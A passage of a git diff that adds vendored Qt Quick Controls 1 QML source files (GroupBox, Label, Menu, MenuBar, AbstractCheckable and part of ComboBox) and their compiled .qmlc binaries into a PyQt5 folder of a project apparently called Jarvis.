(Qt.application.layoutDirection === Qt.RightToLeft) + __popup(Qt.rect(comboBox.width, y, 0, 0), isPopup ? __selectedIndex : 0) + else + __popup(Qt.rect(0, y, 0, 0), isPopup ? __selectedIndex : 0) + } + } + + function updateSelectedText() { + var selectedItem; + if (__selectedIndex !== -1 && (selectedItem = items[__selectedIndex])) { + input.editTextMatches = true + selectedText = Qt.binding(function () { return selectedItem.text }) + if (currentText !== selectedText) // __selectedIndex went form -1 to 0 + selectedTextChanged() + } + } + } + + // The key bindings below will only be in use when popup is + // not visible. Otherwise, native popup key handling will take place: + Keys.onSpacePressed: { + if (!editable) + popup.toggleShow() + else + event.accepted = false + } + + Keys.onUpPressed: __selectPrevItem() + Keys.onDownPressed: __selectNextItem() +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ComboBox.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ComboBox.qmlc new file mode 100644 index 00000000..ab188cc3 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ComboBox.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/GroupBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/GroupBox.qml new file mode 100644 index 00000000..0a414ed2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/GroupBox.qml @@ -0,0 +1,232 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 +import QtQuick.Controls.Styles 1.1 +import QtQuick.Layouts 1.0 + +/*! + \qmltype GroupBox + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup controls + \brief GroupBox provides a group box frame with a title. + + \image groupbox.png + + A group box provides a frame, a title on top and displays various other controls inside itself. Group boxes can also be checkable. + + Child controls in checkable group boxes are enabled or disabled depending on whether or not the group box is checked. + + You can minimize the space consumption of a group box by enabling the flat property. + In most styles, enabling this property results in the removal of the left, right and bottom edges of the frame. + + To add content to a group box, you can reparent it to its contentItem property. + + The implicit size of the GroupBox is calculated based on the size of its content. If you want to anchor + items inside the group box, you must specify an explicit width and height on the GroupBox itself. + + The following example shows how we use a GroupBox: + + \qml + GroupBox { + title: "Joining for?" + + Column { + spacing: 10 + + CheckBox { + text: "Breakfast" + checked: true + } + CheckBox { + text: "Lunch" + checked: false + } + CheckBox { + text: "Dinner" + checked: true + } + } + } + \endqml + + \sa CheckBox, RadioButton, Layout + +*/ + +FocusScope { + id: groupbox + + /*! + This property holds the group box title text. + + There is no default title text. + */ + property string title + + /*! + This property holds whether the group box is painted flat or has a frame. + + A group box usually consists of a surrounding frame with a title at the top. + If this property is enabled, only the top part of the frame is drawn in most styles; + otherwise, the whole frame is drawn. + + By default, this property is disabled, so group boxes are not flat unless explicitly specified. + + \note In some styles, flat and non-flat group boxes have similar representations and may not be as + distinguishable as they are in other styles. + */ + property bool flat: false + + /*! + This property holds whether the group box has a checkbox in its title. + + If this property is true, the group box displays its title using a checkbox in place of an ordinary label. + If the checkbox is checked, the group box's children are enabled; otherwise, they are disabled and inaccessible. + + By default, group boxes are not checkable. + */ + property bool checkable: false + + /*! + \qmlproperty bool GroupBox::checked + + This property holds whether the group box is checked. + + If the group box is checkable, it is displayed with a check box. If the check box is checked, the group + box's children are enabled; otherwise, the children are disabled and are inaccessible to the user. + + By default, checkable group boxes are also checked. + */ + property alias checked: check.checked + + + /*! \internal */ + default property alias __content: container.data + + /*! + \qmlproperty Item GroupBox::contentItem + + This property holds the content Item of the group box. + + Items declared as children of a GroupBox are automatically parented to the GroupBox's contentItem. + Items created dynamically need to be explicitly parented to the contentItem: + + \note The implicit size of the GroupBox is calculated based on the size of its content. If you want to anchor + items inside the group box, you must specify an explicit width and height on the GroupBox itself. + */ + readonly property alias contentItem: container + + /*! \internal */ + property Component style: Settings.styleComponent(Settings.style, "GroupBoxStyle.qml", groupbox) + + /*! \internal */ + property alias __checkbox: check + + /*! \internal */ + property alias __style: styleLoader.item + + implicitWidth: Math.max((!anchors.fill ? container.calcWidth() : 0) + loader.leftMargin + loader.rightMargin, + sizeHint.implicitWidth + (checkable ? 24 : 6)) + implicitHeight: (!anchors.fill ? container.calcHeight() : 0) + loader.topMargin + loader.bottomMargin + + Layout.minimumWidth: implicitWidth + Layout.minimumHeight: implicitHeight + + Accessible.role: Accessible.Grouping + Accessible.name: title + + activeFocusOnTab: false + + + data: [ + Loader { + id: loader + anchors.fill: parent + property int topMargin: __style ? __style.padding.top : 0 + property int bottomMargin: __style ? __style.padding.bottom : 0 + property int leftMargin: __style ? __style.padding.left : 0 + property int rightMargin: __style ? __style.padding.right : 0 + sourceComponent: styleLoader.item ? styleLoader.item.panel : null + onLoaded: item.z = -1 + Text { id: sizeHint ; visible: false ; text: title } + Loader { + id: styleLoader + property alias __control: groupbox + sourceComponent: groupbox.style + } + }, + CheckBox { + id: check + objectName: "check" + checked: true + text: groupbox.title + visible: checkable + anchors.top: parent.top + anchors.left: parent.left + anchors.right: parent.right + height: loader.topMargin + activeFocusOnTab: groupbox.checkable + style: CheckBoxStyle { panel: Item{} } + }, + Item { + id: container + objectName: "container" + z: 1 + focus: true + anchors.fill: parent + + anchors.topMargin: loader.topMargin + anchors.leftMargin: loader.leftMargin + anchors.rightMargin: loader.rightMargin + anchors.bottomMargin: loader.bottomMargin + enabled: (!groupbox.checkable || groupbox.checked) + + property Item layoutItem: container.children.length === 1 ? container.children[0] : null + function calcWidth () { return (layoutItem ? (layoutItem.implicitWidth || layoutItem.width) + + (layoutItem.anchors.fill ? layoutItem.anchors.leftMargin + + layoutItem.anchors.rightMargin : 0) : container.childrenRect.width) } + function calcHeight () { return (layoutItem ? (layoutItem.implicitHeight || layoutItem.height) + + (layoutItem.anchors.fill ? layoutItem.anchors.topMargin + + layoutItem.anchors.bottomMargin : 0) : container.childrenRect.height) } + }] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/GroupBox.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/GroupBox.qmlc new file mode 100644 index 00000000..39d88b0a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/GroupBox.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Label.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Label.qml new file mode 100644 index 00000000..ea3f27b3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Label.qml @@ -0,0 +1,92 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.6 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype Label + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup controls + \brief A text label. + + \image label.png + + In addition to the normal \l Text type, Label follows the font and + color scheme of the system. + Use the \c text property to assign a text to the label. For other properties + check \l Text. + + A simple label looks like this: + \qml + Label { + text: "Hello world" + } + \endqml + + You can use the properties of \l Text to change the appearance + of the text as desired: + \qml + Label { + text: "Hello world" + font.pixelSize: 22 + font.italic: true + color: "steelblue" + } + \endqml + + \sa Text, TextField, TextEdit +*/ + +Text { + /*! + \qmlproperty string Label::text + + The text to display. Use this property to get and set it. + */ + + id: label + color: SystemPaletteSingleton.windowText(enabled) + activeFocusOnTab: false + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + Accessible.name: text + Accessible.role: Accessible.StaticText +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Label.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Label.qmlc new file mode 100644 index 00000000..22bf8874 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Label.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Menu.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Menu.qml new file mode 100644 index 00000000..f91e8634 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Menu.qml @@ -0,0 +1,180 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Styles 1.1 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype Menu + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup menus + \ingroup controls + \brief Provides a menu component for use as a context menu, popup menu, or + as part of a menu bar. + + \image menu.png + + \code + Menu { + title: "Edit" + + MenuItem { + text: "Cut" + shortcut: "Ctrl+X" + onTriggered: ... + } + + MenuItem { + text: "Copy" + shortcut: "Ctrl+C" + onTriggered: ... + } + + MenuItem { + text: "Paste" + shortcut: "Ctrl+V" + onTriggered: ... + } + + MenuSeparator { } + + Menu { + title: "More Stuff" + + MenuItem { + text: "Do Nothing" + } + } + } + \endcode + + The main uses for menus: + \list + \li + as a \e top-level menu in a \l MenuBar + \li + as a \e submenu inside another menu + \li + as a standalone or \e context menu + \endlist + + Note that some properties, such as \c enabled, \c text, or \c iconSource, + only make sense in a particular use case of the menu. + + \sa MenuBar, MenuItem, MenuSeparator +*/ + +MenuPrivate { + id: root + + /*! \internal + \omit + Documented in qqquickmenu.cpp. + \endomit + */ + function addMenu(title) { + return root.insertMenu(items.length, title) + } + + /*! \internal + \omit + Documented in qquickmenu.cpp. + \endomit + */ + function insertMenu(index, title) { + if (!__selfComponent) + __selfComponent = Qt.createComponent("Menu.qml", root) + var submenu = __selfComponent.createObject(__selfComponent, { "title": title }) + root.insertItem(index, submenu) + return submenu + } + + /*! \internal */ + property Component __selfComponent: null + + /*! \qmlproperty Component Menu::style + \since QtQuick.Controls.Styles 1.2 + + The style Component for this control. + \sa {MenuStyle} + + */ + property Component style + + Component.onCompleted: { + if (!style) { + __usingDefaultStyle = true + style = Qt.binding(function() { return Settings.styleComponent(Settings.style, "MenuStyle.qml", root) }) + } + } + + /*! \internal */ + property bool __usingDefaultStyle: false + /*! \internal */ + property var __parentContentItem: __parentMenu ? __parentMenu.__contentItem : null + /*! \internal */ + property int __currentIndex: -1 + /*! \internal */ + onAboutToHide: __currentIndex = -1 + on__MenuPopupDestroyed: contentLoader.active = false + onPopupVisibleChanged: { + if (__popupVisible) + contentLoader.active = true + } + + /*! \internal */ + __contentItem: Loader { + id: contentLoader + Component { + id: menuContent + MenuContentItem { + __menu: root + } + } + + sourceComponent: root.__isNative ? null : menuContent + active: false + focus: true + Keys.forwardTo: item ? [item, root.__parentContentItem] : [] + property bool altPressed: root.__parentContentItem ? root.__parentContentItem.altPressed : false + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Menu.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Menu.qmlc new file mode 100644 index 00000000..ec01b60c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Menu.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/MenuBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/MenuBar.qml new file mode 100644 index 00000000..78fd7cc7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/MenuBar.qml @@ -0,0 +1,347 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQml 2.14 as Qml +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Styles 1.1 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype MenuBar + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup applicationwindow + \ingroup controls + \brief Provides a horizontal menu bar. + + \image menubar.png + + MenuBar can be added to an \l ApplicationWindow, providing menu options + to access additional functionality of the application. + + \code + ApplicationWindow { + ... + menuBar: MenuBar { + Menu { + title: "File" + MenuItem { text: "Open..." } + MenuItem { text: "Close" } + } + + Menu { + title: "Edit" + MenuItem { text: "Cut" } + MenuItem { text: "Copy" } + MenuItem { text: "Paste" } + } + } + } + \endcode + + \sa ApplicationWindow::menuBar +*/ + +MenuBarPrivate { + id: root + + /*! \qmlproperty Component MenuBar::style + \since QtQuick.Controls.Styles 1.2 + + The style Component for this control. + \sa {MenuBarStyle} + + */ + property Component style: Settings.styleComponent(Settings.style, "MenuBarStyle.qml", root) + + /*! \internal */ + property QtObject __style: styleLoader.item + + __isNative: !__style.hasOwnProperty("__isNative") || __style.__isNative + + /*! \internal */ + __contentItem: Loader { + id: topLoader + sourceComponent: __menuBarComponent + active: !root.__isNative + focus: true + Keys.forwardTo: [item] + property real preferredWidth: parent && active ? parent.width : 0 + property bool altPressed: item ? item.__altPressed : false + + Loader { + id: styleLoader + property alias __control: topLoader.item + sourceComponent: root.style + onStatusChanged: { + if (status === Loader.Error) + console.error("Failed to load Style for", root) + } + } + } + + /*! \internal */ + property Component __menuBarComponent: Loader { + id: menuBarLoader + + Accessible.role: Accessible.MenuBar + + onStatusChanged: if (status === Loader.Error) console.error("Failed to load panel for", root) + + visible: status === Loader.Ready + sourceComponent: d.style ? d.style.background : undefined + + width: implicitWidth || root.__contentItem.preferredWidth + height: Math.max(row.height + d.heightPadding, item ? item.implicitHeight : 0) + + Qml.Binding { + // Make sure the styled menu bar is in the background + target: menuBarLoader.item + property: "z" + value: menuMouseArea.z - 1 + restoreMode: Binding.RestoreBinding + } + + QtObject { + id: d + + property Style style: __style + + property int openedMenuIndex: -1 + property bool preselectMenuItem: false + property real heightPadding: style ? style.padding.top + style.padding.bottom : 0 + + property bool altPressed: false + property bool altPressedAgain: false + property var mnemonicsMap: ({}) + + function openMenuAtIndex(index) { + if (openedMenuIndex === index) + return; + + var oldIndex = openedMenuIndex + openedMenuIndex = index + + if (oldIndex !== -1) { + var menu = root.menus[oldIndex] + if (menu.__popupVisible) + menu.__dismissAndDestroy() + } + + if (openedMenuIndex !== -1) { + menu = root.menus[openedMenuIndex] + if (menu.enabled) { + if (menu.__usingDefaultStyle) + menu.style = d.style.menuStyle + + var xPos = row.LayoutMirroring.enabled ? menuItemLoader.width : 0 + menu.__popup(Qt.rect(xPos, menuBarLoader.height - d.heightPadding, 0, 0), 0) + + if (preselectMenuItem) + menu.__currentIndex = 0 + } + } + } + + function dismissActiveFocus(event, reason) { + if (reason) { + altPressedAgain = false + altPressed = false + openMenuAtIndex(-1) + root.__contentItem.parent.forceActiveFocus() + } else { + event.accepted = false + } + } + + function maybeOpenFirstMenu(event) { + if (altPressed && openedMenuIndex === -1) { + preselectMenuItem = true + openMenuAtIndex(0) + } else { + event.accepted = false + } + } + } + property alias __altPressed: d.altPressed // Needed for the menu contents + + focus: true + + Keys.onPressed: { + var action = null + if (event.key === Qt.Key_Alt) { + if (!d.altPressed) + d.altPressed = true + else + d.altPressedAgain = true + } else if (d.altPressed && (action = d.mnemonicsMap[event.text.toUpperCase()])) { + d.preselectMenuItem = true + action.trigger() + event.accepted = true + } + } + + Keys.onReleased: d.dismissActiveFocus(event, d.altPressedAgain && d.openedMenuIndex === -1) + Keys.onEscapePressed: d.dismissActiveFocus(event, d.openedMenuIndex === -1) + + Keys.onUpPressed: d.maybeOpenFirstMenu(event) + Keys.onDownPressed: d.maybeOpenFirstMenu(event) + + Keys.onLeftPressed: { + if (d.openedMenuIndex > 0) { + var idx = d.openedMenuIndex - 1 + while (idx >= 0 && !(root.menus[idx].enabled && root.menus[idx].visible)) + idx-- + if (idx >= 0) { + d.preselectMenuItem = true + d.openMenuAtIndex(idx) + } + } else { + event.accepted = false; + } + } + + Keys.onRightPressed: { + if (d.openedMenuIndex !== -1 && d.openedMenuIndex < root.menus.length - 1) { + var idx = d.openedMenuIndex + 1 + while (idx < root.menus.length && !(root.menus[idx].enabled && root.menus[idx].visible)) + idx++ + if (idx < root.menus.length) { + d.preselectMenuItem = true + d.openMenuAtIndex(idx) + } + } else { + event.accepted = false; + } + } + + Keys.forwardTo: d.openedMenuIndex !== -1 ? [root.menus[d.openedMenuIndex].__contentItem] : [] + + Row { + id: row + x: d.style ? d.style.padding.left : 0 + y: d.style ? d.style.padding.top : 0 + width: parent.width - (d.style ? d.style.padding.left + d.style.padding.right : 0) + LayoutMirroring.enabled: Qt.application.layoutDirection === Qt.RightToLeft + + Repeater { + id: itemsRepeater + model: root.menus + Loader { + id: menuItemLoader + + Accessible.role: Accessible.MenuItem + Accessible.name: StyleHelpers.removeMnemonics(opts.text) + Accessible.onPressAction: d.openMenuAtIndex(opts.index) + + property var styleData: QtObject { + id: opts + readonly property int index: __menuItemIndex + readonly property string text: !!__menuItem && __menuItem.title + readonly property bool enabled: !!__menuItem && __menuItem.enabled + readonly property bool selected: menuMouseArea.hoveredItem === menuItemLoader + readonly property bool open: !!__menuItem && __menuItem.__popupVisible || d.openedMenuIndex === index + readonly property bool underlineMnemonic: d.altPressed + } + + height: Math.max(menuBarLoader.height - d.heightPadding, + menuItemLoader.item ? menuItemLoader.item.implicitHeight : 0) + + readonly property var __menuItem: modelData + readonly property int __menuItemIndex: index + sourceComponent: d.style ? d.style.itemDelegate : null + visible: __menuItem.visible + + Connections { + target: __menuItem + function onAboutToHide() { + if (d.openedMenuIndex === index) { + d.openMenuAtIndex(-1) + menuMouseArea.hoveredItem = null + } + } + } + + Connections { + target: __menuItem.__action + function onTriggered() { d.openMenuAtIndex(__menuItemIndex) } + } + + Component.onCompleted: { + __menuItem.__visualItem = menuItemLoader + + var title = __menuItem.title + var ampersandPos = title.indexOf("&") + if (ampersandPos !== -1) + d.mnemonicsMap[title[ampersandPos + 1].toUpperCase()] = __menuItem.__action + } + } + } + } + + MouseArea { + id: menuMouseArea + anchors.fill: parent + hoverEnabled: Settings.hoverEnabled + + onPositionChanged: updateCurrentItem(mouse) + onPressed: updateCurrentItem(mouse) + onExited: hoveredItem = null + + property Item currentItem: null + property Item hoveredItem: null + function updateCurrentItem(mouse) { + var pos = mapToItem(row, mouse.x, mouse.y) + if (pressed || !hoveredItem + || !hoveredItem.contains(Qt.point(pos.x - currentItem.x, pos.y - currentItem.y))) { + hoveredItem = row.childAt(pos.x, pos.y) + if (!hoveredItem) + return false; + currentItem = hoveredItem + if (pressed || d.openedMenuIndex !== -1) { + d.preselectMenuItem = false + d.openMenuAtIndex(currentItem.__menuItemIndex) + } + } + return true; + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/MenuBar.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/MenuBar.qmlc new file mode 100644 index 00000000..c2a200cf Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/MenuBar.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/AbstractCheckable.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/AbstractCheckable.qml new file mode 100644 index 00000000..e96f0500 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/AbstractCheckable.qml @@ -0,0 +1,178 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 +import QtQuick.Window 2.2 + +/*! + \qmltype AbstractCheckable + \inqmlmodule QtQuick.Controls + \brief An abstract representation of a checkable control with a label + \qmlabstract + \internal + + A checkable control is one that has two states: checked (on) and + unchecked (off). AbstractCheckable encapsulates the basic behavior and + states that are required by checkable controls. + + Examples of checkable controls are RadioButton and + CheckBox. CheckBox extends AbstractCheckable's behavior by adding a third + state: partially checked. +*/ + +Control { + id: abstractCheckable + + /*! + Emitted whenever the control is clicked. + */ + signal clicked + + /*! + \qmlproperty bool AbstractCheckable::pressed + + This property is \c true if the control is being pressed. + Set this property to manually invoke a mouse click. + */ + property alias pressed: mouseArea.effectivePressed + + /*! \qmlproperty bool AbstractCheckcable::hovered + + This property indicates whether the control is being hovered. + */ + readonly property alias hovered: mouseArea.containsMouse + + /*! + This property is \c true if the control is checked. + */ + property bool checked: false + Accessible.checked: checked + Accessible.checkable: true + + /*! + This property is \c true if the control takes the focus when it is + pressed; \l{QQuickItem::forceActiveFocus()}{forceActiveFocus()} will be + called on the control. + */ + property bool activeFocusOnPress: false + + /*! + This property stores the ExclusiveGroup that the control belongs to. + */ + property ExclusiveGroup exclusiveGroup: null + + /*! + This property holds the text that the label should display. + */ + property string text + + /*! + This property holds the button tooltip. + + \since QtQuick.Controls 1.7 + */ + property string tooltip + Accessible.description: tooltip + + /*! \internal */ + property var __cycleStatesHandler: cycleRadioButtonStates + + activeFocusOnTab: true + + MouseArea { + id: mouseArea + focus: true + anchors.fill: parent + hoverEnabled: Settings.hoverEnabled + enabled: !keyPressed + + property bool keyPressed: false + property bool effectivePressed: pressed && containsMouse || keyPressed + + onClicked: abstractCheckable.clicked(); + + onPressed: if (activeFocusOnPress) forceActiveFocus(); + + onExited: Tooltip.hideText() + onCanceled: Tooltip.hideText() + + onReleased: { + if (containsMouse && (!exclusiveGroup || !checked)) + __cycleStatesHandler(); + } + + Timer { + interval: 1000 + running: mouseArea.containsMouse && !pressed && tooltip.length && mouseArea.Window.visibility !== Window.Hidden + onTriggered: Tooltip.showText(mouseArea, Qt.point(mouseArea.mouseX, mouseArea.mouseY), tooltip) + } + } + + /*! \internal */ + onExclusiveGroupChanged: { + if (exclusiveGroup) + exclusiveGroup.bindCheckable(abstractCheckable) + } + + Keys.onPressed: { + if (event.key === Qt.Key_Space && !event.isAutoRepeat && !mouseArea.pressed) + mouseArea.keyPressed = true; + } + + Keys.onReleased: { + if (event.key === Qt.Key_Space && !event.isAutoRepeat && mouseArea.keyPressed) { + mouseArea.keyPressed = false; + if (!exclusiveGroup || !checked) + __cycleStatesHandler(); + clicked(); + } + } + + Action { + // handle mnemonic + text: abstractCheckable.text + onTriggered: { + if (!abstractCheckable.exclusiveGroup || !abstractCheckable.checked) + abstractCheckable.__cycleStatesHandler(); + abstractCheckable.clicked(); + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/AbstractCheckable.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/AbstractCheckable.qmlc new file mode 100644 index 00000000..2f984afd Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/AbstractCheckable.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/BasicButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/BasicButton.qml new file mode 100644 index 00000000..d5c5d28f --- /dev/null +++ 